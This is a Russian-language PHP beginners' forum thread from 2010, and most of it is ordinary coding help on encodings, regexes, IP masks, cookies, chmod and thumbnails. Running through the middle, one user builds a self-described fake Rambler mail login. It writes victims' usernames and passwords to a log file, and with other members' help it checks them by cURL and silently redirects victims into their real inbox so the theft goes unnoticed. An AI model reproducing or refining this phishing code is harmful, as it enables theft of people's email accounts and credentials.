Просмотр полной версии : [php] Новичкам: задаем вопросы
нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.
$res = array('Messages' => array("params1"=>'привет'));
echo json_encode($res);
Какого члена он убивает русские символы,превращая их в null?
Поясню,что массив получен из Бд,где колонки в utf8_general_ci, а после коннекта
mysql_query('SET character_set_client=cp1251');
//Уствнока кодировки запросов
mysql_query('SET character_set_results=cp1251');
//Уствнока кодировки соединения
mysql_query('SET character_set_connection=cp1251');
//Уствнока кодировки сервера
mysql_query('SET character_set_server=cp1251');
В какую кодировку передрать массив,чтобы работало? :(
Я вообще в супоре,
echo mb_detect_encoding($row['msubj']);
Показывает ASCII :( Блиа, чтотонпойму в какую конвертировать, все так прекрасно работало =(
поидее json_encode This function only works with UTF-8 encoded data. от других кодировок- он отплевываеться
поидее json_encode This function only works with UTF-8 encoded data. от других кодировок- он отплевываеться
А я мануалы юзать тоже умею :p
Вся штука в том,что я перекодировать не могу.Но,теперь он у меня выводит русские букавы,вот только заместо них ????,и кодировку все равно определяет ASCII.Что делать?
В общем,картина Репина: Приплыли.
Я в шоке нахожусь.Теперь ситуация такая:
mysql_query('SET character_set_client=cp1251');
//Уствнока кодировки запросов
mysql_query('SET character_set_results=cp1251');
//Уствнока кодировки соединения
mysql_query('SET character_set_connection=cp1251');
//Уствнока кодировки сервера
mysql_query('SET character_set_server=cp1251');
echo json_encode($res);
Выводит - ничего из русских символов.А далее,самый экшн.
echo mb_detect_encoding($row['msubj']);
Показывает UTF-8.Так схерали оно не работает скажу я? :o
по такому принципу не кодирует? \u0438\u0440\u043c\u0430
по такому принципу не кодирует? \u0438\u0440\u043c\u0430
Угу,закодировал.Перепробыв ал все известные мне кодировки,добился я этого.А теперь впорос намбер 2.Как заставить jquery это расколдовать?
/Вопрос снимаеться, он автоматически раскодовывает это дело.Пока трудностей не возникнет,вопрос можно считать закрытым./
вобщем копировать не буду функция decode() пример смотри здесь
http://www.linkexchanger.su/2008/41.html
нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.
имхо проще в шаблоне не выводить их на показ, а не функцию ковырять....
в шабе пропиши что-то типа
{php}
if(ereg("192\.168\.0\.(.*)",getenv("REMOTE_ADDR")){
echo "";
}
elseif(ereg("172\.1\.0\.(.*)",getenv("REMOTE_ADDR"){
echo "";
}else{
echo $sape->return_links();
}
{/php}
нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.
Смотрим регуляркой на IP, и если не найдены диапы, вызываем функцию.
<?php
if(!preg_match('#172\.1\.0\.[0-9]{1,3} | 192\.168\.0\.[0-9]{1,3}#', $_SERVER['REMOTE_ADDR']))
smarty_function_sape();
function smarty_function_sape() {
echo 'smarty_function_sape';
}
?>
Спасибо, но я уже сделал по примерам таким вот способом:
<?php
function check_deny($mask)
{
$idx = preg_match("#(.*)\.(.*)\.(.*)\.(.*)#", $mask, $ban_args);
$idx = preg_match("#(.*)\.(.*)\.(.*)\.(.*)#", $_SERVER["REMOTE_ADDR"], $ip_args);
for($x=1;$x<=4;$x++)
{
if (($ban_args[$x] == $ip_args[$x]) || $ban_args[$x] == "XXX")
return "banned";
return "clear";
}
}
function smarty_function_sape($params,&$smarty)
{
define('_SAPE_USER', '85e0d69d................1eb2d3a3');
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
$banmask1 = "1.1.1.XXX";
$banmask2 = "2.2.2.XXX";
$banmask3 = "3.3.3.XXX";
// $o[ 'force_show_code' ] = true;
//$sape = new SAPE_client( $o );
if (check_deny($banmask1)=="banned")
{
echo "";
}elseif (check_deny($banmask2)=="banned")
{
echo "";
}elseif (check_deny($banmask3)=="banned")
{
echo "";
}else
{$sape = new SAPE_client();
echo $sape->return_links();
}
}
?>
VladZombie
13.01.2010, 05:05
Как сделать чтобы количество комментариев записывалось в файл? Вставляю этот код в обработчик
<?PHP $file = file_get_contents('text.txt'); preg_match('(.*)', $file, $out) ; $a=$out[0]; $filelog = fopen("text.txt","w+"); $a=$a+1; fwrite($filelog," $a "); fclose($filelog); ?>
но он выдаёт ошибку. Как исправить? или подскажите другой способ.
-=Zhenek=-
13.01.2010, 09:00
Спасибо, но я уже сделал по примерам таким вот способом:
Странно мне нужно было тоже самое,но не для сапы..
взял у вас функцию check_deny
передаю ей маску 127.0.0.XXX
и тестирую на локалке. Получается мой ИП 127.0.0.1 и он попадает в маску. Функция говорит Banned
но передаем следом маску 127.0.1.XXX и тоже говорит banned
Вот на скорую руку, вроде справляется, но не углублялся.
<?php
ban_ip('127.0.0.*');
echo 'Все ок =)';
function ban_ip($mask) {
list($ip1,$ip2,$ip3,$ip4) = explode('.',$mask);
$regexp = "#$ip1\.$ip2\.$ip3\.$ip4#";
$regexp = str_replace('*','(\d+)',$regexp);
if(preg_match($regexp,$_SERVER['REMOTE_ADDR']))
die('Извините, но ваш IP('.$_SERVER['REMOTE_ADDR'].') адрес, попадает под маску заблокированных.');
}
?>
Strilo4ka Есть мнение, что под расширением может скрываться почти любая СУБД. Любая из этих- http://ru.php.net/manual/en/refs.database.vendors.php и не только
winlogon.exe
13.01.2010, 17:58
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
Patronik
13.01.2010, 19:04
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
winlogon.exe
13.01.2010, 19:56
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
нет. картинка-информер берется с другого сайта
Гугли "прозрачность на gd2"
Здраствуйте!
<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit( ),5);
</script>
Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать
if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}
Для понятия пишу Фейк с авторизацией!
Заранее благодарен) :)
Здраствуйте!
<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit( ),5);
</script>
Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать
if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}
Для понятия пишу Фейк с авторизацией!
Заранее благодарен) :)
Наверное потом,что стоит почитать как на PHP работать с удаленными серверами.Это делаеться не при помощи кнопок,а например cURL.Копайте в сторону сокетов,курлов, file_get_contents();.
Так,всем как всегда привет.На этот раз я заскочил вот с каким вопросом:
Все вы знаете,что если на античате например открыть сообщение отдельно,то у ТС заместо Провел на форуме: будет микровремя.так вот вопрос,как перевести опять в тот же стандарт.Тоесть имеем:
$time = 4668725;
Нужно получить: 1 месяц 3 недели 3 дня
$time = 4668725;
Нужно получить: 1 месяц 3 недели 3 дня
$time = 4668725;
$totaldays = (int)($time / 86400); // секунды => дни
$month = (int)($totaldays / 30); // месяца
$lostdays = $totaldays % 30; // остаток дней
$weeks = (int)($lostdays / 7); // недель
$days = $weeks % 7; // дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';
Без склонений слов.
Freakazoitt
14.01.2010, 14:03
Есть вот такой кусок кода:
Код:
$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}
он не работает на второй строчке
надо: Если строка $msg начинается на "/me" то выполнить действие ниже
olishort
14.01.2010, 14:20
...
$user = $row['nick'] ;
$msg = '/meOlolo';
$submsg = substr($msg, 0, 3);
if($submsg == '/me'){
$msg = str_replace ("/me", "<i>{$user}</i>", $msg);
$user = "";
}
$time = 4668725;
$totaldays = (int)($time / 86400); // секунды => дни
$month = (int)($totaldays / 30); // месяца
$lostdays = $totaldays % 30; // остаток дней
$weeks = (int)($lostdays / 7); // недель
$days = $weeks % 7; // дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';
Без склонений слов.
Спасибо,но помоему есть ф-ция в которая делает это автоматически.Пойду гуглить :)
winlogon.exe
14.01.2010, 16:02
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
гуглил, пробывал.. ничего не выходит(( help me :)
Deathdreams
14.01.2010, 16:03
Есть вот такой кусок кода:
Код:
$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}
он не работает на второй строчке
надо: Если строка $msg начинается на "/me" то выполнить действие ниже
$user = $row['nick'];
if (preg_match("/^\/me/i", $msg)) {
$msg = str_replace ( "/me", "<i>".$user, $msg );
$user = "";
}
olishort
14.01.2010, 16:37
гуглил, пробывал.. ничего не выходит(( help me :)
хуево искал
http://www.google.com/cse?cx=016878352597257888384%3Aqji4qkjjmem&q=php+%D0%BF%D1%80%D0%BE%D0%B7%D1%80%D0%B0%D1%87%D 0%BD%D0%BE%D1%81%D1%82%D1%8C
olishort
14.01.2010, 18:16
Есть колонка в таблице которую по циклу нужно обновлять добавляя в нее инфу, так вот как правильно такое реализовать чтоб добавляемые данные не повторялись ?
приведи пример.
P.S - Знает кто, как узнать количество голосов пользователя? (при этом не парсить с главной)
Продолжаю вчерашний вопрос...
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
return $s[1];
else return false;
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
echo $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";
}
?>
Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:
Moved
The document has moved here.
При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода
Moved
The document has moved here.
:)
Продолжаю вчерашний вопрос...
Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:
Moved
The document has moved here.
При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода
Moved
The document has moved here.
:)
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
Сапасибо большое!
Только вот еше один нюанс ...
При вводе верного пароля заходит на яшик но остается в в строке браузера хост
В моем случае http://localhost/777.php так вот как заменить
http://localhost/777.php на http://mail.rambler.ru/mail/startpage
Сапасибо большое!
Только вот еше один нюанс ...
При вводе верного пароля заходит на яшик но остается в в строке браузера хост
В моем случае http://localhost/777.php так вот как заменить
http://localhost/777.php на http://mail.rambler.ru/mail/startpage
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.rambler.ru/mail/startpage'></head></html>";
Кхе извиняюсь за упрямство но чтото неполучается
Чтото в коде самом нетак а что немогу понять...
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
echo $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.rambler.ru/mail/startpage'></head></html>";
}
?>
Посмотрите сам код плиз!
Dr.Frank
14.01.2010, 21:10
Видимо не работает из-за того, что функция rambler_login нечего не возвращает, нету return
+ к этому поставь после function rambler_login($login,$passw)
{
строчку
global $res;
Вот я и незнаю как дописать эту функцию
if(!rambler_login($email, $password)) {
а вот вместо переменных $email, $password в голову неприходит что задать
Тоесть как эту функцию организовать так сказать
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
// а здесь должна быть функция определения валидности мыла
// если валид то делаем return true;
// если невалид то делаем return false;
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
echo $res;
} else {
header('Location: http://mail.rambler.ru/mail/startpage');
}
?>
Лучше через хидры.
Также переменная $res в функции rambler_login локальная т.е. после выполнения функции переменная $res не будет существовать.
Допиши после:
function rambler_login($login,$passw)
{
global $res;
Последний вопрос!
Как правильно зделать эту функцию?
if(preg_match('$login=\'s\' $passw=\'s\' value=\'(.*)\'#',$res,$s))
И где об этой функции почитать подробнее)))
mailbrush
14.01.2010, 22:51
google.com -> Регулярные выражения
google.com -> Регулярные выражения
Хм оригинально)
Но я рыл уже там и норм статей описывающих функцию и как ее реализовать не нашол)
mailbrush
14.01.2010, 23:07
php.su/functions/?preg_match
PS: сначала синтаксис выучи (погугли, там на сайте phpclub.ru есть отличная статтейка), а потом функции учи...
Смотрел уже я это немогу понять принцип действия!
Понимаешь!
mailbrush
15.01.2010, 00:02
Смотрел уже я это немогу понять принцип действия!
Понимаешь!
Я то понимаю, но ты не понимаешь :) Почитай еще раз... Я с первого раза понял все по статье с phpclub
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс _поиск", массив_с_результами_поиска)
Ну так не правильно
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс _поиск", массив_с_результами_поиска)
Ну так не правильно
В зависимости от того что тебе нужно, реализуется по разному:
1. Проверка, есть ли заданный текст в строке
if (preg_match('/name="passw" id="passw"/', $result) {да строка name="passw" id="passw" есть в переменной $result}
но лучше
if (strstr($result, 'name="passw" id="passw"') {да строка name="passw" id="passw" есть в переменной $result}
2. Поиск определенных данных из текста
preg_match('/name="passw" id="passw" value="(.*?)"/', $result, $temp);
echo $temp[1]; // name="passw" id="passw" value="ЭТО ЗНАЧЕНИЕ ВЫВОДИТСЯ!"
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
if(preg_match('/name="passw" id="passw" value="(.*?)"/', $res, $s))
return $s[1];
else return false;
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
global $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";
}
?>
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
Тебе это нужно?
Файл: auth.php
<?php
### curl
function curl($url, $post = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;}
### authorization
function authorization($login, $passwd) {
$result = curl('http://id.rambler.ru/script/auth.cgi?mode=login', 'login='.$login.'&passw='.$passwd);
if (strstr($result, '<p class="txt_error">') <> null) {
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
else {header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);}
}
### main
if (!empty($_POST['login']) && !empty($_POST['passw'])) {
authorization($_POST['login'], $_POST['passw']);}
else {
$result = curl('http://id.rambler.ru/script/auth.cgi');
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
?>
есть у кого ни будь скрипт пхп который с url из youtube на сайт добалял виде
ну я как бы все сам сделал уже, в базу все заносит , единственное что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет
Ну как бы пиктограмму можно тырить с:
http://i1.ytimg.com/vi/HASHVIDEO/2.jpg
Там, где HASHVIDEO - параметр v:
http://www.youtube.com/watch?v=Fuc1aH-BY2c
т.е. в данном случае
http://i1.ytimg.com/vi/Fuc1aH-BY2c/2.jpg
UPD:
В большом разрешении:
http://i3.ytimg.com/vi/Fuc1aH-BY2c/hqdefault.jpg
Скрипт:
<?php
if (!empty($_POST['url'])) {
preg_match('/watch\?v=(.*?)$/iD', $_POST['url'], $temp);
echo '<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>';
echo '<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';}
?>
<center>
<form method="post">
<input type="text" name="url" value="">
<input type="submit" value="Загрузить!">
</form>
</center>
imajo.ati
15.01.2010, 12:04
что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет
http://www.google.ru/search?q=php+ffmpeg
Тебе это нужно?
Файл: auth.php
<?php
### curl
function curl($url, $post = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;}
### authorization
function authorization($login, $passwd) {
$result = curl('http://id.rambler.ru/script/auth.cgi?mode=login', 'login='.$login.'&passw='.$passwd);
if (strstr($result, '<p class="txt_error">') <> null) {
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
else {header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);}
}
### main
if (!empty($_POST['login']) && !empty($_POST['passw'])) {
authorization($_POST['login'], $_POST['passw']);}
else {
$result = curl('http://id.rambler.ru/script/auth.cgi');
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
?>
Да вот то что я хотел зделать спасибо большое за помошь)))
что за ошибка:
я понимаю пишет что где еще есть функция но ее больше нигде нет что за фигня или не может обявить но почему:
Выложи код с 85 по 87 строку.
Ну как бы пиктограмму можно тырить с:
Там, где HASHVIDEO - параметр v:
т.е. в данном случае
UPD:
В большом разрешении:
Скрипт:
<?php
if (!empty($_POST['url'])) {
preg_match('/watch\?v=(.*?)$/iD', $_POST['url'], $temp);
echo '<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>';
echo '<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';}
?>
<center>
<form method="post">
<input type="text" name="url" value="">
<input type="submit" value="Загрузить!">
</form>
</center>
спасибо GlooK, я вчера решил проблему, просто забыл отписаться :)
Parse error: syntax error, unexpected T_LNUMBER, expecting ',' or ';'
На 19 строке выдает ошибку
В чем трабла?
<?PHP
include("config.php");
if($_POST['Pass']==$password){setcookie('Pass',md5($password));head er("Location: ".$_SERVER["SCRIPT_NAME"]);}
if($_COOKIE['Pass']==md5($password))
{
if($_POST['do_exit']=='Выход'){setcookie('Pass','');header("Location: ".$_SERVER["SCRIPT_NAME"]);}
include("header.php");
include("panel.php");
include("logs.php");
include("footer.php");
}
else
{
echo "<html>
<title>Вход в панель администратора</title>
<table border="0" align="center" cellpadding="0" cellspacing="0" id="enter">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<tr>
<td id="header-enter"><img src="admin_files/logo0000.gif" width="315" height="64" alt="Вход в панель администратора"/></td>
</tr>
<tr>
<td >
<form method=POST>
<input name="auth" type="hidden" value="1"/>
<table width="100%" border="0" cellspacing="0" cellpadding="4">
<tr>
<td align="right">Пароль</td>
<td><input name="Pass" type="password" tabindex="2"/></td>
<td width="34%" rowspan="2" align="center" valign="middle"><button type="submit" tabindex="3" style="width: 100px" >Войти<img src="admin_files/icon_key.gif" width="18" height="18" align="absmiddle" style="margin-left: 6px" /></button></td>
</tr>
</table>
<br />
</form>
</td>
</tr>
</table>
</html>";
}
?>
Mil-Net Экранировать кавычеги надо
-=lebed=-
15.01.2010, 16:17
<?PHP
include("config.php");
if($_POST['Pass']==$password){setcookie('Pass',md5($password));head er("Location: ".$_SERVER["SCRIPT_NAME"]);}
if($_COOKIE['Pass']==md5($password))
{
if($_POST['do_exit']=='Выход'){setcookie('Pass','');header("Location: ".$_SERVER["SCRIPT_NAME"]);}
include("header.php");
include("panel.php");
include("logs.php");
include("footer.php");
}
else
{
echo '<html>
<title>Вход в панель администратора</title>
<table border="0" align="center" cellpadding="0" cellspacing="0" id="enter">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<tr>
<td id="header-enter"><img src="admin_files/logo0000.gif" width="315" height="64" alt="Вход в панель администратора"/></td>
</tr>
<tr>
<td >
<form method=POST>
<input name="auth" type="hidden" value="1"/>
<table width="100%" border="0" cellspacing="0" cellpadding="4">
<tr>
<td align="right">Пароль</td>
<td><input name="Pass" type="password" tabindex="2"/></td>
<td width="34%" rowspan="2" align="center" valign="middle"><button type="submit" tabindex="3" style="width: 100px" >Войти<img src="admin_files/icon_key.gif" width="18" height="18" align="absmiddle" style="margin-left: 6px" /></button></td>
</tr>
</table>
<br />
</form>
</td>
</tr>
</table>
</html>';
}
?>
мля, как да же вы кавычки будете юзать разные или экранировать их научитись? Подсветка тут для кого сделана? Сразу ведь видно!
Спасибо незнал что проблема может быть в кавычках с html в php работаю впервые просто!
установить права на файл (аватарка)
на юникс хостинге столкнулся с проблемой прав доступа
при загрузке файла, нужно задать кму права
подскажите, в чём может быть ошибка?
chmod("/uploads/".$file_name, 0755);
выдаёт ошибку
Warning: chmod() [function.chmod]: No error in W:\home\localhost\www\upload.php on line 108
это же не синтаксическая ошибка! что мешает задать права файлу, который сохраняется в uploads ?
imajo.ati
15.01.2010, 19:05
на юникс хостинге столкнулся с проблемой прав доступа
Warning: chmod() [function.chmod]: No error in W:\home\localhost\www\upload.php on line 108
а почему в твоем юникс хостинге путь бэкслэшами разделяется? может быть это всё-таки виндовс?
попробуй полный путь указать в параметре
попробуй сделать file_exists предварительно
blackybr
15.01.2010, 20:59
Ты не чмоднишь файлы в винде..
Хотя на сайте пхп в коментах пишут, что read-only (444) и еще что-то поставить через него можно.
Deathdreams
15.01.2010, 21:23
harom,
Если не знаешь ОС хостинга, юзай вместо слешей DIRECTORY_SEPARATOR
Например:
$sep = DIRECTORY_SEPARATOR;
chmod($sep."uploads".$sep.$filename, 0755);
как очистить куки для определенного сайта? или все куки :)
$sep = DIRECTORY_SEPARATOR;
chmod("uploads".$sep.$file_name, 0755);
Deathdreams держи +
теперь буду знать!
а по поводу бэкслэш, я же привёл пример ошибки с винды(больше так не буду)))
spamoney
16.01.2010, 10:00
Добрый День! Помогите разобраться, почему на хостинге (на локалке всё норм) не работает следующий код:
$str='Слово, слово-слово2 слово!';
$f[]='#(\b)слово(\b)#si';
$s[]='<a href="#">Замена</a>';
echo preg_replace($f, $s, $str);
версия PHP: 5.2.11
ReduKToR
16.01.2010, 10:09
как очистить куки для определенного сайта? или все куки
session_destroy();
setcookie(session_name(), "", time() - 3600, "/");
м?
mailbrush
16.01.2010, 10:36
session_destroy();
setcookie(session_name(), "", time() - 3600, "/");
м?
Покажи как ты этим кодом очистишь куки, эм... например, для античата?
ReduKToR
16.01.2010, 10:40
mailbrush,вродибы ему надо был код,с помощью которого он бы мог делать чистку на своем сайте
mailbrush
16.01.2010, 10:42
mailbrush,вродибы ему надо был код,с помощью которого он бы мог делать чистку на своем сайте
Ты читать умеешь?
как очистить куки для определенного сайта? или все куки :)
Каки вопросы?
берём СГ массив $_COOKIE[]
Суём в цикл
Удалить cookie тоже очень просто, достаточно передать функции setcookie() имя cookie и PHP сделает все остальное:
<?php setcookie('name'); ?>
самое первое что пришло в голову, не проверял
//
foreach($_COOKIE as $temp)
{
setcookie($temp);
}
а можно через команду system удалить файл куков ие ?
//чет даже вручную не получается удалить куки, ошибку выдает, все таки нужно напрямую
mailbrush
16.01.2010, 15:08
Каки вопросы?
берём СГ массив $_COOKIE[]
Суём в цикл
самое первое что пришло в голову, не проверял
//
foreach($_COOKIE as $temp)
{
setcookie($temp);
}
Повторюсь, покажи, как этим скриптом удалить куки для google.com...
Повторюсь, покажи, как этим скриптом удалить куки для google.com...
да мне хоть все куки удалить (в ие интересует), но было бы лучше, если для определенного сайта :)
imajo.ati
16.01.2010, 15:37
да мне хоть все куки удалить (в ие интересует), но было бы лучше, если для определенного сайта :)
сервис->свойства обозревателя->удалить "Cookie.."->OK
сервис->свойства обозревателя->удалить "Cookie.."->OK
ну как бэ я в разделе php об этом не писал бы ;)
ubuntu Если задача формулируется так: Хочу удалить куки произвольного сайта (уточнение: не своего сайта), когда пользователь зашел на мой сайт - то это никак не сделать стандартными средствами PHP.
Если формулировка иная - сообщите
Deathdreams
16.01.2010, 16:31
Если бы идею ubuntu можно было бы реализовать, с таким же успехом при заходе на мой сайт я бы мог считать куки VK и других нужных мне ресурсов.
Если формулировка иная - сообщите
я запускаю скрипт, допустим логинимся вконтакте, потом выйти и удалить свои же куки (чужие меня не интересуют :) ) из браузера, а после вновь зайти вконтакт.
Эмм,а разве так,не?
setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", "www.example.com", 1);
buxmanager
16.01.2010, 17:45
Доброго времени суток, дорогие форумчане! Вопрос по поводу скриптика одного на пхп.
Определение айпи и запись в лог-файл при заходе на страницу. Есть такой? Если возможно напишите! В инете искал, но только одни обрывки, а я в этом не силен.
Спасибо заранее!
imajo.ati
16.01.2010, 18:00
<?php
file_put_contents('./ip.log', @$_SERVER['REMOTE_ADDR'] . "\r\n", FILE_APPEND);
Здравствуй, ачат!
Не могу найти что вызывает Notice в скрипте.
<html>
<body>
<?php
error_reporting(E_ALL);
